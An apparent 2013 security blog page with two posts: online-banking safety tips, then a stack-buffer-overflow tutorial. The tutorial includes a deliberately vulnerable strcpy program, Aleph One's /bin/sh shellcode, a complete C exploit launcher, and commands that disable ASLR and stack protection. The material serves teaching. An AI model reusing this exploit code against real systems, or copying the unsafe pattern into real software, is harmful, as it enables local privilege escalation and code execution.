Pages

May 23, 2013

Online Banking Safety

Online banking is getting more and more popular these days and it is not without reason that it is so pervasive. As the world goes towards higher levels of connectivity, online banking looks like a very convenient, easy-to-use option for many of the internet connected individuals all over the world. It is here to stay for a long time to come. However, as is with everything else on the internet, online banking has its own set of security issues and problems. Most people are still in the dark about these issues and have no clue about the dangers of carrying out online banking. See this blog for a proof-of-concept that shows how even the two-factor authentication mechanism, used by banks to verify customers online, can be bypassed. There are a couple of popular malicious software kits that can be used to carry out attacks against online banking customers - Zeus, SpyEye and their mobile phone counterparts ZitMo and SpitMo.

In this post, I will enumerate the important things you can do to stay safe while continuing use of online banking. These points must be followed apart from the general security tips like keeping software up-to-date and having an up-to-date antivirus software. I will keep this post short and will not go into detailed explanation of each step. Keep in mind that security and usability are inversely proportional and as such you must give up usability to a certain extent in order to have an increased level of security. On any day I would go in for more security than usability because that would give me peace of mind!

--[ System/OS Security ]--
Although the browser is the program you use to access banking websites, it is the underlying Operating System and related softwares that must be secured first because no matter how secure the browser is, a keylogger can capture your typed-in password even before it reaches your browser.

  • Having a squeaky clean OS before accessing your bank's website is a must. This means the computer must have no trace of any malicious programs such as trojans, viruses and backdoors. Bootkits pose a more serious problem but I'll leave it for another blog post.
  • The people at Software Protection Initiative have come out with a lightweight Linux based OS that boots from a CD or USB-stick every time. Since the OS can only be booted from the live CD or USB-stick, it is ensured that each session starts in a trusted state. No malware ever gets 'installed' on the system. Simply restarting the system enables you to start from a clean state. Download the latest ISO image here. Read more about the OS here.
  • One disadvantage of using this is the issue of having to reboot/boot your machine after inserting the live CD or USB-stick. An easier but less secure option is to boot this OS inside a Virtual Machine(VM). I have personally used Oracle's VirtualBox to boot this OS and it works just fine. The reason this option is less secure is because the host-OS (the OS on which the VM runs) cannot be trusted - a keylogger installed in the host-OS can still capture your keystrokes.
  • Always boot a new session immediately before accessing your banks' websites. The LPS OS comes installed with Firefox for browsing. Also, this Firefox comes with the HTTPS-Everywhere plugin that enforces use of the secure HTTP protocol(HTTPS) whenever available.

--[ Browser Security ]--
The browser is the main software program that you use to access your bank website and from which you perform various things - checking account balance, transferring funds, adding peer accounts and so on. Having a secure browsing environment is a must and everyone should make this a priority.

If you choose not to use the live CD/USB option, then you must at least have a secure browser software, apart from having up-to-date antivirus and other up-to-date software patches.

  • First of all, we must try to use the secure version of HTTP, i.e., HTTPS, for all websites that offer it. In order to make this easy for users, the Electronic Frontier Foundation have come up with a plug-in for Firefox and Chrome web-browsers - HTTPS Everywhere. This plug-in tries to enforce the use of HTTPS versions of websites for all websites that offer the secure versions. This ensures that the connection between your browser and bank server is encrypted(confidential) from attackers in the network.
  • Second, preventing malwares from being installed on your system. Most malwares get installed via drive-by downloads which enable installation of malware on a user's computer without his/her knowledge. Install the plug-in NoScript for Mozilla Firefox and ScriptSafe for Google Chrome. These scripts block javascript, IFrames, XSS and other attack vectors.
  • Since Java has been the most favored base for exploits by attackers, please disable the Java plugin in your browsers. In Firefox, go to Tools > Add-Ons > Plugins and disable the Java SE and Java Deployment Toolkit plugins. In Chrome, enter "chrome://plugins/" in the address bar and click 'Disable' for the Java plugin. For other browsers see here. You can even disable the Shockwave Flash plugin the same way since most bank websites do not use flash content.
  • Keep an eye on the address bar of your browser for any abnormalities in the website address. Depending on the font used, two characters may look alike but point to very different websites - GOOGLE.COM vs. G00GLE.COM, PAYPAI.COM vs. PAYPAl.COM, rnicrosoft.com vs. microsoft.com. If a website address appears to be different, copy the address into the notepad application and choose a monospace font such as Courier New. Using this font, you can clearly see the difference between characters. You must do this even for links before you click them. Copy the target website address of a hyperlink to notepad and perform the same verification.
  • Type the complete website address starting from 'https' manually and do not reach your bank website by clicking on any link. This ensures that you reach the intended website only.
  • Use two different browsers - one solely for online banking purposes and the other for anything else you do on the internet. The one you use for online banking purposes must be completely secure using the above mentioned use of plugins.

May 22, 2013

Stack-buffer Overflow Vulnerability

We read about many many malwares that are causing havoc in today's computers. How do they get into a computer in the first place? Memory vulnerabilities are one of the main ways in which a malware exploits the target computer.

The goal of any malware writer is to somehow get his malicious code to be executed on the victim computer. There are two ways to go about doing this. One way is to make the user himself execute the malicious executable, for example, using a phishing email that asks the user to open a malicious attachment. However, the malicious code often will have to be executed with elevated privileges, like an admin account, so that it can perform its evil deeds. In this case, the malware writer can choose to inject his code into a running process that already has admin privileges and causes the CPU to execute the injected code when the victim process is running. So the malicious code also has admin privileges. This requires that the victim process take some user input through which the malicious code can be injected into the victim process. For this to work properly, there are two phases – Code Injection and Instruction Pointer hijacking. Code Injection is when the malicious code is inserted into the victim process's memory by supplying the code – shell code – as user input that is unfiltered, and Instruction Pointer hijacking is the process of making the instruction pointer register (EIP) point to the injected malicious code. IP hijacking is also called Control Flow hijacking because the program's control flow is being redirected to the injected code.

Code Injection is pretty straight forward because many programs take input from the user without filtering them for malicious content. The programs take the input and place it somewhere in memory – stack or heap. From here on, the task of the malware writer is to ensure that the CPU executes this injected code somewhere in the near future by modifying the contents of the EIP register.

To understand how EIP can be modified, we first need to understand the memory layout of a process. There are 4 basic sections in a process's memory – text, data, heap and stack. In most systems the stack always grows down, i.e., two nested function calls means that function1's frame will be at a higher address than function2's frame – eg., 0xff88 vs. 0xff18. This doesn't mean that an array allocated on the stack also grows downwards! For example, an array whose base address is 0xff20 with a size of 20 bytes will have the last element at 0xff34 and NOT at 0xff06. A very good article about process memory layout is Anatomy of a program in memory. So basically when a function is called the return address is stored on the stackby the caller. When the callee returns the saved address is popped off the stack into the EIP so CPU continues executing inside the caller. If we can modify this saved return address value then we are indirectly controlling the EIP.

--[ Stack Buffer Overflow ]--
This is the most basic vulnerability to understand and exploit. What is surprising is that this basic attack was discovered in the 1990s and is still being used for exploits. A simple google search will yield multiple results about recent attacks. I will use the following program to explain the vulnerability.

// stack_vuln.exe
void foo(char *user_str)
{
    char local_str[64];
    strcpy(local_str, user_str);
}

int main(int argc, char *argv[])
{
    if(argc!=2) 
    { printf(“usage: %s <in_string>\n”, argv[0]); return 1; }
    foo(argv[1]);
    return 0;
}

User input is supplied via command line arguments and is passed to the function foo() by main(). foo() has a local char array of size 64, i.e., allocated on the stack. It simply copies the contents of the formal parameter *str to the local char array using strcpy(). Remember that strcpy() is very unsafe to use because it performs no boundary checking – very easy to overwrite the destination buffer. This vulnerability is what is being exploited now. Let's look at the stack when control is inside foo() just before executing the call instruction to strcpy().

When strcpy() is passed the address of local_str as destination buffer, it copies the contents of user_str to local_str until a '\0' is encountered. Now, if the source buffer contains a '\0' within the first 64 bytes, everything is fine. But if the length of the source buffer is 72 bytes, it overflows the destination buffer and overwrites the saved EBP and ret_addr. When foo() executes the return instruction, ret_addr is popped off the stack and into the EIP. So if the value of ret_addr can be modified, EIP can thus be controlled.

So how is this exploitable? A classic exploit is to have the remote machine open up a shell for the attacker. We can use Aleph One's shell code as our payload which is 46 bytes in size. The buffer overflow vuln is the attack vector with shell obtaining code as the payload. We now have the shell code but we must still come up with an exploit string that we give as input to the vulnerable program. The exploit string should be like this:

/*
 *         ** Exploit string layout **
 *
 * 0 1 2 3 ... 21  |  22 23 ... 67  |  68 69 70 71
 *      NOPs          shell_code     sip overwrite addr
 *
 */

  • We have a 64 byte vulnerable buffer on the stack and we have to write 72 bytes so that the saved EIP is overwritten.
  • We have 72-46-4 = 22 bytes extra space in the exploit string. We will use this to hold NOPs (0x90 instruction) to be used as a landing area. Index 0-21 will hold NOPs.
  • We store the shell code just behind the EIP overwrite address. Index 22-67 will hold the shell code.
  • The last 4 bytes will overwrite the saved EIP so the exploit strings's last 4 byte values must be the address of the start of our shell code. This is calculated by determing the address of the vulnerable buffer on the stack by running stack_vuln.exe in a debugger.
  • This exploit string will be supplied as the first argument to stack_vuln.exe program.

An example exploit string construction may be as follows. Assuming that the vulnerable local_str[] buffer starts at 0xbffffc28, we choose 0xbffffc2e as the target EIP address, we come up with the exploit string below. See, also, how it lines up in the stack area. The saved EIP ret_addr gets overwritten by 0xbffffc2e.

We execute stack_vuln.exe using the execve() system call as follows:

// shellcode from Aleph One's article
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char szExploit[64+4+4];  // 4 for sfp and 4 for sip
int iBufAddr = 0xbffffc2e;

int main()
{  
  char *args[3];
  char *env[1];
  int i, iSCStartIndex, *iptr;

  args[0] = "stack_vuln.exe"; 
  args[1] = szExploit;
  args[2] = NULL;
  env[0] = NULL;

  memset(szExploit, 0x90, sizeof(szExploit)); // set NOPs

  iSCStartIndex = 22;
  for(i = 0; i < sizeof(shellcode)-1; ++i)
    szExploit[iSCStartIndex++] = shellcode[i];

  // Place jump-to-exploit address at the end of our exploit string
  iptr = (int*)(szExploit+68);
  *iptr = iBufAddr;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

So stack_vuln.exe is exec'd with our exploit string as argv[1] and strcpy() copies this string to the stack buffer local_str and overwrites saved EIP. Finally when the ret instruction is executed in foo(), it takes the overwritten value, 0xbffffc2e, and copies it to the EIP register and CPU will now start executing from this address which has NOPs followed by the shellcode. We now get a new shell opened up for us. If we need a root shell then the target program executable must have setuid(sticky bit set) so that it runs with effective user ID as root(=0).

Caveats:

  • The exploit string must not contain a NULL byte (value 00) because strcpy() and any other string functions will not copy past the NULL byte.
  • The stack address changes a little bit when the target program is run under a debugger and when run by itself. I have seen a difference of 32bytes, i.e., local_str was at an address 32bytes lower on the stack when run in a debugger. So you must compensate for this in your exploit string.
  • Ofcourse, modern operating systems and compilers come with protection against this attack – ASLR, NX bits and stack protection. These must be disabled if you want to try this out(commands specific to Linux).
    • Disabling ASLR: sudo echo 0 > /proc/sys/kernel/randomize_va_space
    • Removing stack protection: Compile with -fno-stack-protector -z execstack